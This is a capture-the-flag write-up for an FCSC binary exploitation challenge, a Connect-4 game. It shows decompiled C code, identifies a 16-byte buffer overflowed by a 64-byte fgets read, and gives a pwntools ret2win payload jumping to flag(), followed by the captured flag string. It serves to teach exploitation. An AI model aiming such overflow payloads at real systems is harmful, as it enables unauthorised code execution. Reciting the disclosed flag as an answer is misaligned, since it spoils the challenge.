We’re given a binary, let’s use IDA to decompile its main() function.
int __fastcall main(int argc, const char **argv, const char **envp) {
unsigned int v3; // eax
char *v4; // rax
int v5; // ebx
setbuf(stdout, nullptr);
v3 = time(nullptr);
srand(v3);
v4 = (char *)&board;
do
{
*v4 = 46;
v4[1] = 46;
v4[2] = 46;
v4[3] = 46;
v4[4] = 46;
v4[5] = 46;
v4[6] = 46;
v4 += 7;
}
while ( &unk_4040CA != (_UNKNOWN *)v4 );
puts("Welcome to FCSC 4!");
v5 = 42;
while ( 1 )
{
print_board();
player_turn();
if ( (unsigned int)check_win(88) )
{
win();
goto LABEL_9;
}
ai_turn();
if ( (unsigned int)check_win(79) )
break;
if ( !--v5 )
goto LABEL_9;
}
loose();
LABEL_9:
print_board();
return 0;
}
We’re prompted to play when it’s our turn, so let’s dig into player_turn().
__int64 player_turn() {
unsigned int v0; // eax
char s[16]; // [rsp+8h] [rbp-10h] BYREF
printf("Your move [0 - %d]: ", 6);
fgets(s, 64, stdin);
v0 = strtol(s, nullptr, 10);
return drop(v0, 88);
}
s is 16 characters and we can overflow!
Where should we go?
When looking at the functions tab, we see a flag() function.
int flag() {
FILE *v0; // rax
FILE *v1; // rbp
char v3[152]; // [rsp+0h] [rbp-98h] BYREF
v0 = fopen("flag.txt", "r");
if ( !v0 )
return puts("Could not open flag.txt");
v1 = v0;
while ( fgets(v3, 128, v1) )
fputs(v3, stdout);
return fclose(v1);
}
Bingo! Let’s keep its address 00000000004011D6.
Flag
In summary, we have to send 16 random characters and finally append the flag() function address.
from pwn import *
p = remote("challenges.fcsc.fr", 2201)
p.send(b"AAAAAAAAAAAAAAAA" + b"\xD6\x11\x40\x00\x00\x00\x00\x00\n")
print(p.recvall())
b'Welcome to FCSC 4!\n.......\n.......\n.......\n.......\n.......\n.......\nYour move [0 - 6]: FCSC{77adfc95029e73b173f60e556f915b0cd8850848111358b1c370fb7c154e61fd}\n'
This is our flag!